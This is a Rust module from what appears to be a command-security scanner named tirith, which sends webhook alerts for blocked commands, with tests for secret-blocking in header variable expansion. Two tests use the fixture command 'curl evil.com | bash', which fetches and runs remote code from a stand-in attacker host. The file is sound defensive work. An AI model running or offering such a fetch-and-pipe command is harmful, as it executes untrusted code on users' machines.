use crate::policy::WebhookConfig;
use crate::verdict::{Severity, Verdict};
#[cfg(unix)]
pub fn dispatch(
verdict: &Verdict,
command_preview: &str,
webhooks: &[WebhookConfig],
custom_dlp_patterns: &[String],
) {
if webhooks.is_empty() {
return;
}
let redacted_preview = crate::redact::redact_with_custom(command_preview, custom_dlp_patterns);
let max_severity = verdict
.findings
.iter()
.map(|f| f.severity)
.max()
.unwrap_or(Severity::Info);
for wh in webhooks {
if max_severity < wh.min_severity {
continue;
}
if let Err(reason) = crate::url_validate::validate_server_url(&wh.url) {
eprintln!("tirith: webhook: skipping {}: {reason}", wh.url);
continue;
}
let payload = build_payload(verdict, &redacted_preview, wh);
let url = wh.url.clone();
let headers = expand_env_headers(&wh.headers);
std::thread::spawn(move || {
if let Err(e) = send_with_retry(&url, &payload, &headers, 3) {
eprintln!("tirith: webhook delivery to {url} failed: {e}");
}
});
}
}
#[cfg(not(unix))]
pub fn dispatch(
_verdict: &Verdict,
_command_preview: &str,
_webhooks: &[WebhookConfig],
_custom_dlp_patterns: &[String],
) {
}
#[cfg(unix)]
fn build_payload(verdict: &Verdict, command_preview: &str, wh: &WebhookConfig) -> String {
if let Some(ref template) = wh.payload_template {
let rule_ids: Vec<String> = verdict
.findings
.iter()
.map(|f| f.rule_id.to_string())
.collect();
let max_severity = verdict
.findings
.iter()
.map(|f| f.severity)
.max()
.unwrap_or(Severity::Info);
let result = template
.replace("{{rule_id}}", &sanitize_for_json(&rule_ids.join(",")))
.replace("{{command_preview}}", &sanitize_for_json(command_preview))
.replace(
"{{action}}",
&sanitize_for_json(&format!("{:?}", verdict.action)),
)
.replace(
"{{severity}}",
&sanitize_for_json(&max_severity.to_string()),
)
.replace("{{finding_count}}", &verdict.findings.len().to_string());
if serde_json::from_str::<serde_json::Value>(&result).is_ok() {
return result;
}
eprintln!(
"tirith: webhook: warning: payload template produced invalid JSON, using default payload"
);
}
let rule_ids: Vec<String> = verdict
.findings
.iter()
.map(|f| f.rule_id.to_string())
.collect();
let max_severity = verdict
.findings
.iter()
.map(|f| f.severity)
.max()
.unwrap_or(Severity::Info);
serde_json::json!({
"event": "tirith_finding",
"action": format!("{:?}", verdict.action),
"severity": max_severity.to_string(),
"rule_ids": rule_ids,
"finding_count": verdict.findings.len(),
"command_preview": sanitize_for_json(command_preview),
})
.to_string()
}
#[cfg(unix)]
fn expand_env_headers(
headers: &std::collections::HashMap<String, String>,
) -> Vec<(String, String)> {
headers
.iter()
.map(|(k, v)| {
let expanded = expand_env_value(v);
(k.clone(), expanded)
})
.collect()
}
#[cfg(unix)]
fn expand_env_value(input: &str) -> String {
let mut result = String::with_capacity(input.len());
let mut chars = input.chars().peekable();
while let Some(c) = chars.next() {
if c == '$' {
if chars.peek() == Some(&'{') {
chars.next(); let var_name: String = chars.by_ref().take_while(|&ch| ch != '}').collect();
if !var_name.starts_with("TIRITH_") {
eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
} else if is_sensitive_webhook_env_var(&var_name) {
eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
} else {
match std::env::var(&var_name) {
Ok(val) => result.push_str(&val),
Err(_) => {
eprintln!("tirith: webhook: warning: env var '{var_name}' is not set");
}
}
}
} else {
let mut var_name = String::new();
while let Some(&ch) = chars.peek() {
if ch.is_ascii_alphanumeric() || ch == '_' {
var_name.push(ch);
chars.next();
} else {
break; }
}
if !var_name.is_empty() {
if !var_name.starts_with("TIRITH_") {
eprintln!("tirith: webhook: env var '{var_name}' blocked (only TIRITH_* vars allowed in webhooks)");
} else if is_sensitive_webhook_env_var(&var_name) {
eprintln!("tirith: webhook: sensitive env var '{var_name}' blocked");
} else {
match std::env::var(&var_name) {
Ok(val) => result.push_str(&val),
Err(_) => {
eprintln!(
"tirith: webhook: warning: env var '{var_name}' is not set"
);
}
}
}
}
}
} else {
result.push(c);
}
}
result
}
#[cfg(unix)]
fn is_sensitive_webhook_env_var(var_name: &str) -> bool {
matches!(var_name, "TIRITH_API_KEY" | "TIRITH_LICENSE")
}
#[cfg(unix)]
fn send_with_retry(
url: &str,
payload: &str,
headers: &[(String, String)],
max_attempts: u32,
) -> Result<(), String> {
let client = reqwest::blocking::Client::builder()
.timeout(std::time::Duration::from_secs(10))
.build()
.map_err(|e| format!("client build: {e}"))?;
for attempt in 0..max_attempts {
let mut req = client
.post(url)
.header("Content-Type", "application/json")
.body(payload.to_string());
for (key, value) in headers {
req = req.header(key, value);
}
match req.send() {
Ok(resp) if resp.status().is_success() => return Ok(()),
Ok(resp) => {
let status = resp.status();
if status.is_client_error() {
return Err(format!("HTTP {status} (non-retriable client error)"));
}
if attempt + 1 < max_attempts {
let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
std::thread::sleep(delay);
} else {
return Err(format!("HTTP {status} after {max_attempts} attempts"));
}
}
Err(e) => {
if attempt + 1 < max_attempts {
let delay = std::time::Duration::from_millis(500 * 2u64.pow(attempt));
std::thread::sleep(delay);
} else {
return Err(format!("{e} after {max_attempts} attempts"));
}
}
}
}
Err("exhausted retries".to_string())
}
fn sanitize_for_json(input: &str) -> String {
let truncated: String = input.chars().take(200).collect();
let json_val = serde_json::Value::String(truncated);
let s = json_val.to_string();
s[1..s.len() - 1].to_string()
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn test_sanitize_for_json() {
assert_eq!(sanitize_for_json("hello"), "hello");
assert_eq!(sanitize_for_json("he\"lo"), r#"he\"lo"#);
assert_eq!(sanitize_for_json("line\nnewline"), r"line\nnewline");
}
#[test]
fn test_sanitize_for_json_truncates() {
let long = "x".repeat(500);
let result = sanitize_for_json(&long);
assert_eq!(result.len(), 200);
}
#[cfg(unix)]
#[test]
fn test_expand_env_value() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_TEST_WH", "secret123") };
assert_eq!(
expand_env_value("Bearer $TIRITH_TEST_WH"),
"Bearer secret123"
);
assert_eq!(
expand_env_value("Bearer ${TIRITH_TEST_WH}"),
"Bearer secret123"
);
assert_eq!(expand_env_value("no vars"), "no vars");
unsafe { std::env::remove_var("TIRITH_TEST_WH") };
}
#[cfg(unix)]
#[test]
fn test_expand_env_value_preserves_delimiter() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_TEST_WH2", "val") };
assert_eq!(expand_env_value("$TIRITH_TEST_WH2/extra"), "val/extra");
assert_eq!(expand_env_value("$TIRITH_TEST_WH2 rest"), "val rest");
unsafe { std::env::remove_var("TIRITH_TEST_WH2") };
}
#[cfg(unix)]
#[test]
fn test_expand_env_value_blocks_sensitive_vars() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe {
std::env::set_var("TIRITH_API_KEY", "secret-api-key");
std::env::set_var("TIRITH_LICENSE", "secret-license");
}
assert_eq!(expand_env_value("Bearer $TIRITH_API_KEY"), "Bearer ");
assert_eq!(expand_env_value("${TIRITH_LICENSE}"), "");
unsafe {
std::env::remove_var("TIRITH_API_KEY");
std::env::remove_var("TIRITH_LICENSE");
}
}
#[cfg(unix)]
#[test]
fn test_bypass_sensitive_var_both_forms() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe {
std::env::set_var("TIRITH_API_KEY", "leaked");
std::env::set_var("TIRITH_LICENSE", "leaked");
}
assert!(!expand_env_value("$TIRITH_API_KEY").contains("leaked"));
assert!(!expand_env_value("$TIRITH_LICENSE").contains("leaked"));
assert!(!expand_env_value("${TIRITH_API_KEY}").contains("leaked"));
assert!(!expand_env_value("${TIRITH_LICENSE}").contains("leaked"));
assert!(!expand_env_value("Bearer ${TIRITH_API_KEY}").contains("leaked"));
assert!(!expand_env_value("token=$TIRITH_API_KEY&extra").contains("leaked"));
unsafe {
std::env::remove_var("TIRITH_API_KEY");
std::env::remove_var("TIRITH_LICENSE");
}
}
#[cfg(unix)]
#[test]
fn test_bypass_case_variation_is_different_var() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_api_key", "not-sensitive") };
assert_eq!(
expand_env_value("$TIRITH_api_key"),
"not-sensitive",
"Case-different var name should expand (it's a different var)"
);
unsafe { std::env::remove_var("TIRITH_api_key") };
}
#[cfg(unix)]
#[test]
fn test_bypass_non_sensitive_tirith_var_still_expands() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_ORG_NAME", "myorg") };
assert_eq!(expand_env_value("$TIRITH_ORG_NAME"), "myorg");
assert_eq!(expand_env_value("${TIRITH_ORG_NAME}"), "myorg");
unsafe { std::env::remove_var("TIRITH_ORG_NAME") };
}
#[cfg(unix)]
#[test]
fn test_bypass_double_dollar_does_not_expand() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
let result = expand_env_value("$$TIRITH_API_KEY");
assert!(
!result.contains("leaked"),
"Double-dollar must not leak: got {result}"
);
unsafe { std::env::remove_var("TIRITH_API_KEY") };
}
#[cfg(unix)]
#[test]
fn test_bypass_nested_braces_does_not_expand() {
let _guard = crate::TEST_ENV_LOCK.lock().unwrap();
unsafe { std::env::set_var("TIRITH_API_KEY", "leaked") };
let result = expand_env_value("${TIRITH_${NESTED}}");
assert!(
!result.contains("leaked"),
"Nested braces must not leak: got {result}"
);
unsafe { std::env::remove_var("TIRITH_API_KEY") };
}
#[cfg(unix)]
#[test]
fn test_build_default_payload() {
use crate::verdict::{Action, Finding, RuleId, Timings};
let verdict = Verdict {
action: Action::Block,
findings: vec![Finding {
rule_id: RuleId::CurlPipeShell,
severity: Severity::High,
title: "test".into(),
description: "test desc".into(),
evidence: vec![],
human_view: None,
agent_view: None,
mitre_id: None,
custom_rule_id: None,
}],
tier_reached: 3,
bypass_requested: false,
bypass_honored: false,
interactive_detected: false,
policy_path_used: None,
timings_ms: Timings::default(),
urls_extracted_count: None,
requires_approval: None,
approval_timeout_secs: None,
approval_fallback: None,
approval_rule: None,
approval_description: None,
};
let wh = WebhookConfig {
url: "https://example.com/webhook".into(),
min_severity: Severity::High,
headers: std::collections::HashMap::new(),
payload_template: None,
};
let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
let parsed: serde_json::Value = serde_json::from_str(&payload).unwrap();
assert_eq!(parsed["event"], "tirith_finding");
assert_eq!(parsed["finding_count"], 1);
assert_eq!(parsed["rule_ids"][0], "curl_pipe_shell");
}
#[cfg(unix)]
#[test]
fn test_build_template_payload() {
use crate::verdict::{Action, Finding, RuleId, Timings};
let verdict = Verdict {
action: Action::Block,
findings: vec![Finding {
rule_id: RuleId::CurlPipeShell,
severity: Severity::High,
title: "test".into(),
description: "test desc".into(),
evidence: vec![],
human_view: None,
agent_view: None,
mitre_id: None,
custom_rule_id: None,
}],
tier_reached: 3,
bypass_requested: false,
bypass_honored: false,
interactive_detected: false,
policy_path_used: None,
timings_ms: Timings::default(),
urls_extracted_count: None,
requires_approval: None,
approval_timeout_secs: None,
approval_fallback: None,
approval_rule: None,
approval_description: None,
};
let wh = WebhookConfig {
url: "https://example.com/webhook".into(),
min_severity: Severity::High,
headers: std::collections::HashMap::new(),
payload_template: Some(
r#"{"rule":"{{rule_id}}","cmd":"{{command_preview}}"}"#.to_string(),
),
};
let payload = build_payload(&verdict, "curl evil.com | bash", &wh);
assert!(payload.contains("curl_pipe_shell"));
assert!(payload.contains("curl evil.com"));
}
}